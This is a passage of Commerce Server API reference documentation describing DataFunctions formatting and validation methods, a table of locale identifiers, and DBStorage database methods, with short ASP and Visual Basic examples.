
[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Number(9999999.99,myLocale)
Response.Write "USA: " & Result & "<P>"

' Set Locale to France
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale

Result = MSCSDataFunctions.Number(9999999,myLocale)

Response.Write "France: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0::Time Method [C++]

DataFunctions.Time Method [Visual Basic]

Use this method to converts a Date to a string representation of the time.

Definition

[C++]
HRESULT IDataFunctions_4_0::Time(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Time(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE type that contains the time value to convert.
dtDate [Visual Basic]
A Date type that contains the time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the time value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' vResult is a Variant, dDate is a Date
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
vResult = MSCSDataFunctions.Time(dDate, myLocale)
Response.Write "USA: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertTimeString


IDataFunctions_4_0::ValidateDateTime Method [C++]

DataFunctions.ValidateDateTime Method [Visual Basic]

Use this method to check whether a string contains a valid date, time, or date and time, and optionally to check against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateDateTime(
 VARIANT vtDate,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateDateTime(
 vtDate As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that contains the value to validate. This value can be a date, a time, or both.
vtDate [Visual Basic]
A Variant that contains the value to validate. This value can be a date, a time, or both.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtDate parameter is valid. A value of TRUE indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant indicating whether the vtDate parameter is valid. A value of True indicates the vtDate parameter is a valid date, time, or date/time, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vResult is a Variant, vSourceDate is a Variant containing
' a string representation of a date or date and time
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
vResult = MSCSDataFunctions.ValidateDateTime(vSourceDate,"1/1/1900", _
    "12/31/2525")

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::DateTime

[C++] IDataFunctions_4_0::Time

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IDataFunctions_4_0::ConvertTimeString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.DateTime

[Visual Basic] DataFunctions.Time

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] DataFunctions.ConvertTimeString


IDataFunctions_4_0::ValidateFloat Method [C++]

DataFunctions.ValidateFloat Method [Visual Basic]

Use this method to check whether a string contains a valid floating-point number, and to optionally check the value of the number against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateFloat(
 VARIANT vtNumber,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateFloat(
 vtNumber As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtNumber [C++]
[in] A VARIANT that contains the floating-point number to validate.
vtNumber [Visual Basic]
A Variant that contains the floating-point number to validate.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for this parameter is NULL, which means that the vtMax parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant that indicates whether the vtNumber parameter is valid. A value of True indicates the vtNumber parameter is a valid floating-point number, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myFloat = 12.33
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ValidateFloat(myFloat, 1, 10)
Response.Write myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>"
myFloat = 2.33
Result = MSCSDataFunctions.ValidateFloat(myFloat, 1, 10)
Response.Write myFloat & " Is this float between 1 & 10?: " & " " _
    & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ConvertFloatString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ConvertFloatString


IDataFunctions_4_0::ValidateNumber Method [C++]

DataFunctions.ValidateNumber Method [Visual Basic]

Use this method to check whether a string representation of a number is valid, and optionally to check the value of the number against a specified range.

Definition

[C++]
HRESULT IDataFunctions_4_0::ValidateNumber(
 VARIANT vtNumber,
 VARIANT vtMin,
 VARIANT vtMax,
 VARIANT* pvtValid
);
[Visual Basic]
Function ValidateNumber(
 vtNumber As Variant,
 vtMin As Variant,
 vtMax As Variant
) As Variant

Parameters

vtNumber [C++]
[in] A VARIANT that contains a string representation of a number to validate.
vtNumber [Visual Basic]
A Variant that contains a string representation of a number to validate.
vtMin [C++]
[in] A VARIANT that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMin [Visual Basic]
A Variant that contains a value specifying the low end of the range. The default value for this parameter is NULL, which means that the vtMin parameter is ignored in the range validation.
vtMax [C++]
[in] A VARIANT that contains a value specifying the high end of the range. The default value for the vtMax parameter is NULL, which means that this parameter is ignored in the range validation.
vtMax [Visual Basic]
A Variant that contains a value specifying the high end of the range. The default value for the vtMax parameter is NULL, which means that this parameter is ignored in the range validation.
pvtValid [C++]
[out, retval] A pointer to a VARIANT used to return a Boolean that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean Variant that indicates whether the vtNumber parameter is valid. A value of TRUE indicates the vtNumber parameter is a valid whole number, and that it is within the given range, if any.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtValid parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
MSCSDataFunctions.Locale = myLocale
myInt = 24
Result = MSCSDataFunctions.ValidateNumber(myInt , 1, 10)
Response.Write myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>"
myInt = 2
Result = MSCSDataFunctions.ValidateNumber(myInt , 1, 10)
Response.Write myInt & " Is this integer between 1 & 10?: " & _
    " " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0 Properties [C++]

DataFunctions_4_0 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CurrencySymbol | VARIANT | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
[Visual Basic]
Property | Type | Description
CurrencySymbol | Variant | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.
Locale | Long | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.


IDataFunctions_4_0::get_CurrencySymbol, put_CurrencySymbol Property [C++]

DataFunctions.CurrencySymbol Property [Visual Basic]

The CurrencySymbol property is a read/write string Variant that stores the currency symbol to use if the currency symbol parameter is not specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol.

Definition

[C++]

Get method:

HRESULT IDataFunctions_4_0::get_CurrencySymbol(
 VARIANT* CurrencySymbol
);

Put method:

HRESULT IDataFunctions_4_0::put_CurrencySymbol(
 VARIANT CurrencySymbol
);
[Visual Basic]
Property CurrencySymbol As Variant

Parameters

CurrencySymbol [C++]
[in] When putting the property, a string VARIANT that contains the currency symbol.
[out, retval] When getting the property, a pointer to a string VARIANT used to return the currency symbol.

[Visual Basic] None.

[C++]

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

When getting the property, the CurrencySymbol parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::ConvertStringToCurrency

[C++] IDataFunctions_4_0::LocalizeCurrency

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.ConvertStringToCurrency

[Visual Basic] DataFunctions.LocalizeCurrency


IDataFunctions_4_0::get_Locale, put_Locale Property [C++]

DataFunctions.Locale Property [Visual Basic]

[C++]

The Locale property is a read/write long that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

[Visual Basic]

The Locale property is a read/write Long that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. Where the DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value to which you initialize this property is used.

Definition

[C++]

Get method:

HRESULT IDataFunctions_4_0::get_Locale(
 long* Locale
);

Put method:

HRESULT IDataFunctions_4_0::put_Locale(
 long Locale
);
[Visual Basic]
Property Locale As Long

Parameters

Locale [C++]
[in] When putting the property, a long that specifies the locale.
[out, retval] When getting the property, a pointer to a long used to return the locale.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Many of the methods implemented in the Commerce Server objects take locale identifiers as optional parameters. These identifiers are represented by unique hexadecimal codes.

The list of locale and language identifiers can be found in the National Language Support API. This specification can be found in the Microsoft Developer Network. (See Platform SDK, Windows Base Services, International Features).

This list is continually growing and further locale support may be added to any future product.

The following table contains a list of these hexadecimal locale identifiers.

Identifier | Locale
0x0000 | Language Neutral
0x0400 | Process Default Language
0x0401 | Arabic (Saudi Arabia)
0x0801 | Arabic (Iraq)
0x0c01 | Arabic (Egypt)
0x1001 | Arabic (Libya)
0x1401 | Arabic (Algeria)
0x1801 | Arabic (Morocco)
0x1c01 | Arabic (Tunisia)
0x2001 | Arabic (Oman)
0x2401 | Arabic (Yemen)
0x2801 | Arabic (Syria)
0x2c01 | Arabic (Jordan)
0x3001 | Arabic (Lebanon)
0x3401 | Arabic (Kuwait)
0x3801 | Arabic (U.A.E.)
0x3c01 | Arabic (Bahrain)
0x4001 | Arabic (Qatar)
0x0402 | Bulgarian
0x0403 | Catalan
0x0404 | Chinese (Taiwan)
0x0804 | Chinese (PRC)
0x0c04 | Chinese (Hong Kong)
0x1004 | Chinese (Singapore)
0x0405 | Czech
0x0406 | Danish
0x0407 | German (Standard)
0x0807 | German (Swiss)
0x0c07 | German (Austrian)
0x1007 | German (Luxembourg)
0x1407 | German (Liechtenstein)
0x0408 | Greek
0x0409 | English (United States)
0x0809 | English (United Kingdom)
0x0c09 | English (Australian)
0x1009 | English (Canadian)
0x1409 | English (New Zealand)
0x1809 | English (Ireland)
0x1c09 | English (South Africa)
0x2009 | English (Jamaica)
0x2409 | English (Caribbean)
0x2809 | English (Belize)
0x2c09 | English (Trinidad)
0x040a | Spanish (Traditional Sort)
0x080a | Spanish (Mexican)
0x0c0a | Spanish (Modern Sort)
0x100a | Spanish (Guatemala)
0x140a | Spanish (Costa Rica)
0x180a | Spanish (Panama)
0x1c0a | Spanish (Dominican Republic)
0x200a | Spanish (Venezuela)
0x240a | Spanish (Colombia)
0x280a | Spanish (Peru)
0x2c0a | Spanish (Argentina)
0x300a | Spanish (Ecuador)
0x340a | Spanish (Chile)
0x380a | Spanish (Uruguay)
0x3c0a | Spanish (Paraguay)
0x400a | Spanish (Bolivia)
0x440a | Spanish (El Salvador)
0x480a | Spanish (Honduras)
0x4c0a | Spanish (Nicaragua)
0x500a | Spanish (Puerto Rico)
0x040b | Finnish
0x040c | French (Standard)
0x080c | French (Belgian)
0x0c0c | French (Canadian)
0x100c | French (Swiss)
0x140c | French (Luxembourg)
0x040d | Hebrew
0x040e | Hungarian
0x040f | Icelandic
0x0410 | Italian (Standard)
0x0810 | Italian (Swiss)
0x0411 | Japanese
0x0412 | Korean
0x0812 | Korean (Johab)
0x0413 | Dutch (Standard)
0x0813 | Dutch (Belgian)
0x0414 | Norwegian (Bokmal)
0x0814 | Norwegian (Nynorsk)
0x0415 | Polish
0x0416 | Portuguese (Brazilian)
0x0816 | Portuguese (Portugal)
0x0418 | Romanian
0x0419 | Russian
0x041a | Croatian
0x081a | Serbian (Latin)
0x0c1a | Serbian (Cyrillic)
0x041b | Slovak
0x041c | Albanian
0x041d | Swedish
0x081d | Swedish (Finland)
0x041e | Thai
0x041f | Turkish
0x0421 | Indonesian
0x0422 | Ukrainian
0x0423 | Belarusian
0x0424 | Slovenian
0x0425 | Estonian
0x0426 | Latvian
0x0427 | Lithuanian
0x0429 | Farsi
0x042a | Vietnamese
0x042d | Basque
0x0436 | Afrikaans
0x0438 | Faeroese

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::GetLocaleList

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.GetLocaleList

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


DBStorage Object [C++]

DBStorage Object [Visual Basic]

Use this method to map Dictionary and SimpleList objects to and from the database, primarily for the storage of receipt and order information. The DBStorage object is created as needed on each page.

ProgID: | Commerce.DBStorage (Externally creatable)
COM Class Name: | MSCSDBStorage_3_0
Type Library Name: | Commerce 1.0 Type Library
DLL Name: | Commerce.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSDBStorage_3_0
Interface ID Constant: | IID_IMSCSDBStorage_3_0
Header File: | mspu_guids.h
[C++]

In C++, use the IMSCSDBStorage_3_0 interface to access the properties and methods of the DBStorage object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.
[Visual Basic]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.

Properties

[C++]
Property | Type | Description
Mapping | IDispatch | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.
[Visual Basic]
Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.

Remarks

The DBStorage object serves as an interface between the site database and Dictionary and OrderForm objects. A DBStorage object contains methods for transferring data between the database and the data object.

Using the CreateObject method of the Server object to instantiate a DBStorage object will return an uninitialized instance of the DBStorage object. Use the InitStorage method to initialize the returned object instance. Attempting to call any other DBStorage method prior to calling the InitStorage method results in an error.

When the DBStorage object retrieves data from the database, it creates the appropriate type of data object (an OrderForm or Dictionary object), stores the requested data there, and then returns the data object. When the DBStorage object is used to save data in the database, you pass it the OrderForm or Dictionary object containing the data, and the DBStorage method copies the data from the data object into the database.

See Also

General Purpose Objects


IMSCSDBStorage_3_0 Methods [C++]

DBStorage Methods [C++]

Methods

[C++]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.
[Visual Basic]
Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.


IMSCSDBStorage_3_0::CommitData Method [C++]

DBStorage.CommitData Method [Visual Basic]

Use this method to update the database table based on the contents of the specified Dictionary or OrderForm object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::CommitData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub CommitData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. The CommitData method ignores the value of this parameter.
vtReserved [Visual Basic]
A Variant reserved for future use. The CommitData method ignores the value of this parameter.
pdispData [C++]
[in] An IDispatch interface pointer on the OrderForm or Dictionary object that contains the updated data.
pdispData [Visual Basic]
An object reference to the OrderForm or Dictionary object that contains the updated data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CommitData and InsertData methods can store data from a specified object into the database in two ways.

First, if the InitStorage method specifies a MarshallColumn parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)

Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the MarshallColumn parameter is specified and matching columns exist, then the corresponding data is stored both ways.

The CommitData method does not support database tables containing fields of type TimeStamp. Instead, use the vtChanged parameter to the DBStorage.InitStorage method, which provides the same functionality as using TimeStamp fields.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.CommitData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::DeleteData Method [C++]

DBStorage.DeleteData Method [Visual Basic]

Use this method to delete a row from the data source, based on the data stored in the specified Dictionary or OrderForm object.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::DeleteData(
 VARIANT vtReserved,
 IDispatch* pdispData
);
[Visual Basic]
Sub DeleteData(
 vtReserved As Variant,
 pdispData As Object
)

Parameters

vtReserved [C++]
[in] A VARIANT reserved for future use. This parameter is ignored by the DeleteData method.
vtReserved [Visual Basic]
A Variant reserved for future use. This parameter is ignored by the DeleteData method.
pdispData [C++]
[in] A pointer to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.
pdispData [Visual Basic]
An object reference to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.

Return Values

[C++] This method returns an HRESULT indicating whether it or not completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

Thus, if you specify an IDENTITY field in an SQL table as the key into the data source, you can delete all the columns for a specified row by simply providing the appropriate counter value. Alternatively, you can initialize a Dictionary object to the values stored in one or more columns, and pass this initialized object to the DeleteData method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
OrderFormStorage.DeleteData(Null, Order)

See Also

[C++] DBStorage Object

[C++] IMSCSDBStorage_3_0::InitStorage

[C++] IMSCSDBStorage_3_0::DeleteDataKey

[C++] IMSCSDBStorage_3_0::InsertData

[Visual Basic] DBStorage Object

[Visual Basic] DBStorage.InitStorage

[Visual Basic] DBStorage.DeleteDataKey

[Visual Basic] DBStorage.InsertData


IMSCSDBStorage_3_0::DeleteDataKey Method [C++]

DBStorage.DeleteDataKey Method [Visual Basic]

Use this method to delete a row of data, based on the specified key value.

Definition

[C++]
HRESULT IMSCSDBStorage_3_0::DeleteDataKey(
 VARIANT vtReserved,
 VARIANT vtKey
);
[Visual Basic]
Sub DeleteDataKey(
 vtReserved As Variant,
 vtKey As Variant
)

Parameters

vtReserved [C++]
